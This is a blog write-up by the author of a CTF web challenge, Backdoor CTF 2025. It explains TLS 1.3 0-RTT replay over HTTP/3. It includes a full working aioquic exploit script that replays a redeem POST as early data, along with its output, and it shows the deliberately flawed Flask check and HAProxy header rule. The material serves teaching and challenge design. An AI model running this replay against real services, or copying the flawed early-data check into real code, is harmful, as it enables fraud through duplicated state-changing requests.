hemanshu baviskar

← writings

8 Jan 2026

0RTT attack

Author: Per0x1d3
Category: Web
Flag: flag{0rtt_replay_attacks_4r3_c00l}

I wrote this challenge for Backdoor CTF 2025. The public hint was short: the shop used HTTP/3. Players got an API spec and a headless service. No frontend, no browser puzzle, just a shop API over QUIC.

The goal was simple enough: register, collect credits, buy the flag. A redeem gives 100 credits and the flag costs 500. Normal API usage only lets you redeem once.

The part I wanted people to find was not in the JSON. It was in how the request reached the app.

The API

The API was intentionally small:

Most of the early pain was just tooling. The service is HTTP/3, so it is QUIC over UDP. A normal curl build often does not help.

This was enough to talk to it locally:

docker run --rm --network host ymuski/curl-http3 \
  curl --http3 -k -s -H 'content-type: application/json' \
  -d '{}' -X POST "https://localhost:3424/register"

Once that worked, the API behaved like the handout said. Register worked. Redeem worked once. The second redeem did not.

The TLS Bit

HTTP/3 runs on QUIC, and QUIC uses TLS 1.3. That matters here because TLS 1.3 has session resumption and optional 0-RTT early data.

On a first connection, the client does a normal TLS handshake before application data is sent:

Client                              Server
  ClientHello -------------------->
  <---------------- ServerHello
  <---------------- cert, Finished
  Finished ----------------------->
  HTTP/3 request =================>

At the end of that connection, the server can give the client a session ticket. The client stores it and uses it later to resume the session instead of doing the whole certificate negotiation again.

With normal resumption, the request still waits until the resumed handshake is ready:

Client                              Server
  ClientHello + ticket ----------->
  <---------------- ServerHello
  HTTP/3 request =================>

That is faster, but it is still not the bug.

0-RTT

0-RTT is the interesting mode. With a valid ticket, the client can send early application data along with the resumed ClientHello.

Client                              Server
  ClientHello + ticket ----------->
  early HTTP/3 request ===========>
  <---------------- ServerHello
  <================ response

The server can process that request before the new handshake fully finishes.

That is useful for latency, but the tradeoff is replay risk. Early data is encrypted, but it is tied to the previous session ticket. If a server accepts the same early-data request again and does not have replay protection, a state-changing POST can run twice.

That is the mistake this challenge was built around.

I do not need to tamper with the JSON. I do not need to forge anything. I just need the server to accept the same redeem request again as early data.

What Replay Means Here

The normal request is boring:

POST /api/redeem
{"user_id":"abc-123"}

The server credits 100. If I can send the same body again as 0-RTT early data on a resumed QUIC connection, and the server does not reject the replay, the redeem handler runs again.

Five successful redeems gives 500 credits. Then /api/buy works.

This is why 0-RTT is supposed to be used carefully. It is fine for safe operations. It is dangerous for "add money", "redeem coupon", "transfer", "buy", or anything else that changes state unless there is proper dedupe.

The Tooling Problem

curl --http3 can do HTTP/3, but I did not find it useful for forcing this exact request out as early data. I used aioquic because it exposes the bit I cared about:

The server also has to allow 0-RTT. In this challenge, HAProxy was configured with allow-0rtt on the QUIC bind.

Without that, the ticket may still resume the session, but the early data path will not land.

Where I Expected People To Notice It

First redeem:

{"balance":100}

Second redeem with a normal client:

{"error":"only one transfer huh!!"}

The word transfer was a hint. It points away from a normal shop bug and toward "state-changing request". Combine that with HTTP/3 and the flag format, and the path is session tickets plus early-data replay.

A plain HTTP/3 client leaves you stuck at 100. The exploit needs a ticket, then the redeem request has to be sent before the resumed connection is fully established.

Exploit Plan

The flow I used:

  1. Register and keep the session ticket.
  2. Redeem once normally.
  3. Replay the same redeem body as 0-RTT a few times.
  4. Buy the flag.
  5. Read /flag.

Setup:

pip install aioquic
python3 exp.py

Here is the exploit I used. It is not pretty, but it does the job.

import asyncio
import json
import ssl
from typing import Optional

try:
    from aioquic.asyncio import connect
except ImportError:
    from aioquic.asyncio.client import connect

from aioquic.asyncio import QuicConnectionProtocol
from aioquic.h3.connection import H3_ALPN, H3Connection
from aioquic.h3.events import DataReceived, H3Event, HeadersReceived
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import ProtocolNegotiated, QuicEvent
from aioquic.tls import SessionTicket

HOST = "localhost"
PORT = 3424


class Tickets:
    def __init__(self):
        self.t: Optional[SessionTicket] = None

    def add(self, ticket: SessionTicket):
        self.t = ticket

    def get(self, label: bytes):
        return self.t


class H3(QuicConnectionProtocol):
    def __init__(self, *a, **kw):
        super().__init__(*a, **kw)
        self.h3 = H3Connection(self._quic)
        self.sid = None
        self.status = 0
        self.body = bytearray()
        self.done = asyncio.Event()

    def quic_event_received(self, ev: QuicEvent):
        if isinstance(ev, ProtocolNegotiated):
            self.h3 = H3Connection(self._quic)

        for h3ev in self.h3.handle_event(ev):
            self.http_event_received(h3ev)

    def http_event_received(self, ev: H3Event):
        if self.sid is None:
            return

        if isinstance(ev, HeadersReceived) and ev.stream_id == self.sid:
            for k, v in ev.headers:
                if k == b":status":
                    self.status = int(v.decode())

        if isinstance(ev, DataReceived) and ev.stream_id == self.sid:
            self.body.extend(ev.data)
            if ev.stream_ended:
                self.done.set()

    def send(self, method, path, body=b"", headers=None):
        self.sid = self._quic.get_next_available_stream_id(False)
        auth = HOST if PORT in (80, 443) else f"{HOST}:{PORT}"

        hdrs = [
            (b":method", method.encode()),
            (b":scheme", b"https"),
            (b":authority", auth.encode()),
            (b":path", path.encode()),
        ]
        if headers:
            hdrs += headers

        self.h3.send_headers(self.sid, hdrs)
        self.h3.send_data(self.sid, body, end_stream=True)
        self.transmit()

    async def req(self, method, path, body=b"", headers=None):
        self.send(method, path, body, headers)
        await self.done.wait()
        return self.status, bytes(self.body)


async def h3req(tickets, wait, method, path, body=b"", headers=None, sleep=0):
    cfg = QuicConfiguration(is_client=True, alpn_protocols=H3_ALPN)
    cfg.verify_mode = ssl.CERT_NONE
    cfg.server_name = HOST
    cfg.session_ticket = tickets.t

    async with connect(
        HOST,
        PORT,
        configuration=cfg,
        create_protocol=H3,
        wait_connected=wait,
        session_ticket_handler=tickets.add,
    ) as proto:
        status, resp = await proto.req(method, path, body, headers)
        if sleep:
            await asyncio.sleep(sleep)
        return status, resp


async def main():
    tickets = Tickets()
    json_hdr = [(b"content-type", b"application/json")]

    _, body = await h3req(tickets, True, "POST", "/register", b"{}", json_hdr, sleep=0.5)
    uid = json.loads(body.decode())["user_id"]
    print("uid:", uid)

    if tickets.t is None:
        for _ in range(5):
            await h3req(tickets, True, "GET", "/", sleep=0.7)
            if tickets.t:
                break

    redeem = json.dumps({"user_id": uid}).encode()

    await h3req(tickets, True, "POST", "/api/redeem", redeem, json_hdr)

    for i in range(10):
        _, body = await h3req(tickets, False, "POST", "/api/redeem", redeem, json_hdr)
        try:
            obj = json.loads(body.decode())
        except Exception:
            print("replay", i + 1, body[:80])
            continue

        print("replay", i + 1, "balance=", obj.get("balance"))
        if obj.get("can_afford_flag"):
            break

    buy = json.dumps({"user_id": uid, "item": "flag"}).encode()
    await h3req(tickets, True, "POST", "/api/buy", buy, json_hdr)

    _, body = await h3req(tickets, True, "GET", f"/flag?user_id={uid}")
    print(body.decode())


if __name__ == "__main__":
    asyncio.run(main())

The important line is not hidden:

await h3req(tickets, False, "POST", "/api/redeem", redeem, json_hdr)

That False becomes wait_connected=False, so the POST can go out as early data.

Example output from a local run looked like this:

$ python3 exp.py
uid: 8e4b3d9b-...
replay 1 balance= 200
replay 2 balance= 300
replay 3 balance= 400
replay 4 balance= 500
flag{0rtt_replay_attacks_4r3_c00l}

What I Broke On Purpose

The challenge stack was HAProxy 3.0 in front of Flask and Redis. HAProxy terminated QUIC and had 0-RTT enabled.

The app had a one-time redeem check, but it skipped that check when it believed the request was early data:

is_early = request.headers.get("Early-Data") == "1"
if not is_early and redeem_count >= 1:
    return {"error": "only one transfer huh!!"}, 400

That is already a bad idea. Then HAProxy made it worse:

http-request set-header Early-Data 1 if { ssl_fc_is_resumed } { path -m beg /api/redeem }

ssl_fc_is_resumed means the TLS session resumed. It does not mean "this request is safe to process twice". Even if the header only meant real early data, using it to skip a business rule would still be wrong.

The fix is boring, which is usually a good sign:

Closing Notes

The bug is small once you see it. The hard part is usually realizing that the transport layer can change how a normal-looking POST behaves.

I like this kind of web challenge because the endpoint is not hiding much. The interesting part is between the client and the app, in the place people skip when they only read routes and JSON handlers.

Further reading: